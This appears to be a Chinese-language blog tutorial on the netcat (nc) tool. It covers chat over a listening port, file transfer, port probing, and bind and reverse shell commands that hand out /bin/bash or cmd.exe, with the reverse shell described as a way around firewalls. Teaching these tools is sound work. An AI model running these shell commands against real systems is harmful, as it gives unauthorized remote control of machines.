netcat素有`瑞士軍刀之稱`,短小精悍,只有幾百k大小,但是可以干很多事
netcat又稱nc工具,其最主要的作用就是建立連接並返回兩個數據流,剩下的就看各位的想象力了,想象力是很重要的,這也是這個工具的強大之處的所在,所以重要的東西才要說三遍,想象力!
1. kali中自帶nc工具,windows系統使用nc攻擊有兩種方法:
在cmd下打開文件安裝位置使用

把文件路徑放到環境變量中,就可在cmd的任何路徑下使用

2. nc版本不同,命令也會有細小差別,但是大體上差不多,通過 nc -h 來獲取幫助信息,具體參數如下:
每行的第一個字符為”<”或”>”,分別表示接收的數據或發送的數據。
功能:
我們可以用他來做聊天工具:
nc -l -p 6666 監聽6666端口,並顯示詳細信息
nc 192.168.1.192 6666 連接192.168.1.192(為測試用的靶機)6666端口
在沒有一些聊天工具的情況下,而恰巧又在同一局域網中,我們又想聊天的話,就可以通過這種方法。
打開一台計算機的某個端口,讓其他人都可以連進來,這樣我們就可以進行實時聊天,而且支持多用戶喲
當然這條命令也是nc工具的高級使用技巧的基礎


3. 個人理解,nc工具通過連接到某一端口,從而和對方計算機進行通信,從而可以利用這一特性來做一下復雜的事情
如:建立正向連接,把某個文件發送出去
nc -vlp 6666 -e /bin/bash 監聽6666端口,然后把/bin/bash文件發送出去,只要有人連接此端口,對方就執行/bin/bash文件,此文件為linux的shell,windows對應的是nc -e C:\Windows\System32\cmd.exe
nc -vv 192.168.1.192 6666 連接對方6666端口,連接上就自動執行/bin/bash命令


4. 但是如果設備有防火牆的話,那么防火牆會阻止對方連接到本機,因為防火牆會把其當做是病毒所留的后門程序,從而斷開連接
所以我們可以換一種思路,可以連接對方,然后把文件發送給對方,在防火牆看來這個行為是用戶的操作,不會加以阻攔,從而可以繞過防火牆,那么我們就采用反向連接,把自己的文件發送給對方
nc -lv -p 6666
nc -v -e /bin/bash192.168.1.187 6666


5. 我們始終要記住,nc最主要功能就是監聽端口,只不過一些高級功能就是對此功能的再度開發利用
比如上面是把文件發送給對方執行,那我們完全可以利用這個思想來發送文件
nc -l -p 6666 < ./1.txt -q 2 把1.txt這個文件發送到6666端口中,如果命令執行成功,那么兩秒后自動關閉連接
nc -v 192.168.1.192 6666 > c:/1.txt 連接6666端口,把接收到的數據寫入到1.txt中
其實nc不光可以保持txt文件,還可以保存所有格式的文件,因為存在編碼問題,所有只要兩邊的后綴名保持一樣那么文件就可以正常執行


6. 其實上面的例子和本文第一個例子的原理是一樣的,都是建立連接,然后發送數據,只不過一個是手動打,一個是發送數據
我們再舉一反三:
在本機輸入命令,然后把命令的結果通過管道發送到6666端口


只要開闊思維,利用nc和一些其他工具就可以發揮出意想不到的結果
7. 就比如我們可以利用nc會連接對方端口的特性,來掃描對方開放的端口
nc -v 192.168.1.192 80 連接對方80端口,80端口默認是http協議的端口,如果對方開了80端口,那么就會連接上,反正連接不上
所以我們利用此原理探測對方開了哪些端口

nc 之所以這么強大,就是因為他的可擴展性,可以配合其他東西發揮出巨大的作用
